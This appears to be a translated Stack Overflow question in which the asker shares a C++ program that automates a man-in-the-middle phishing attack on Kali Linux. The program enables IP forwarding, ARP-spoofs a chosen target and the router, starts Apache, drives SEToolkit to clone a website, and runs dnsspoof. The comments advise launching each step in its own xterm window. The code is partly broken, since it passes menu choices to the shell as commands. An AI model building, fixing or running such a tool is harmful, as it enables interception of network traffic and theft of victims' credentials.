【发布时间】:2018-07-21 18:19:52
【问题描述】:
我的问题是我的代码需要同时运行多个单独的窗口。我还必须能够在这些窗口运行时执行命令。如果有任何相关性,两个连续运行的窗口正在监听 LAN 流量。无论如何,我在 Kali 上运行,所以我不能使用 ConsoleLoggerHelper 文件,因为 .h 文件依赖于 windows.h,这在 Linux 上不起作用。是否有另一种方法可以在多个单独的窗口上创建和运行?此应用程序是使用 Apache2、DNSspoof、ARPspoof 和 SEToolkit 的 MITM 攻击的自动化。到目前为止,这是我的代码:
#include <iostream>
#include <stdio.h>
using namespace std;
int main()
{
string site;
string s_site;
string t_ip;
string u_ip;
char yorn;
string arp_t;
string arp_r;
//Remember to put in the option the change to interface type, i.e: wlan0
string arp_s;
arp_s = "arpspoof -i eth0 -t";
string set;
set = "setoolkit";
string enable_echo;
enable_echo = "echo 1 > /proc/sys/net/ipv4/ip_forward";
string s_dns;
s_dns = "dnsspoof -i eth0 -f hosts.txt";
string enable_apache;
enable_apache = "servive apache2 start";
string router_ip;
router_ip = "192.168.1.1";
cout << "This program will perform a MITM-Phishing attack. DO you want to continue? y/n: ";
cin >> yorn;
if (yorn == 'y')
{
cout << "What is the local IP address of your target?: ";
cin >> t_ip;
cout << "What is your local IP address?: ";
cin >> u_ip;
cout << "What is the EXACT URL of the website you wish to clone?: ";
cin >> site;
cout << "what do you wish the name your spoofed website to be?: ";
cin >> s_site;
system(enable_echo.c_str());
//New window
arp_t = arp_s + " " + t_ip + " " + router_ip;
system(arp_t.c_str());
//New window
arp_r = arp_s + " " + router_ip + " " + t_ip;
system(arp_r.c_str());
//New window
system(enable_apache.c_str());
//New window
system(set.c_str());
system("1");
system("2");
system("3");
system("2");
system(u_ip.c_str());
system(site.c_str());
//New window
system(s_dns.c_str());
return 0;
}
else
{
cout << "Aborting program..." << endl;
return 0;
}
}
【问题讨论】:
-
这对我来说太宽泛了。您想在单独但连接的进程或所有相同的进程中打开终端吗?您可以使用脚本打开各种终端吗?您是否需要能够在各个终端之间进行信息通信?这里有很多可能性。
-
好点我会解决这个问题。我的意思是单独的终端。
-
也许是
system("xterm -e ..... &")。在终端中尝试xterm -e "ls" &。 -
如果您能弄清楚哪些信息需要与终端进程进行通信,这将有助于选择最佳方法。你写了所有的部分,还是一些终端运行股票 POSIX 应用程序?
-
你应该真正发现 shell 脚本,而不是在 C++ 中与之抗争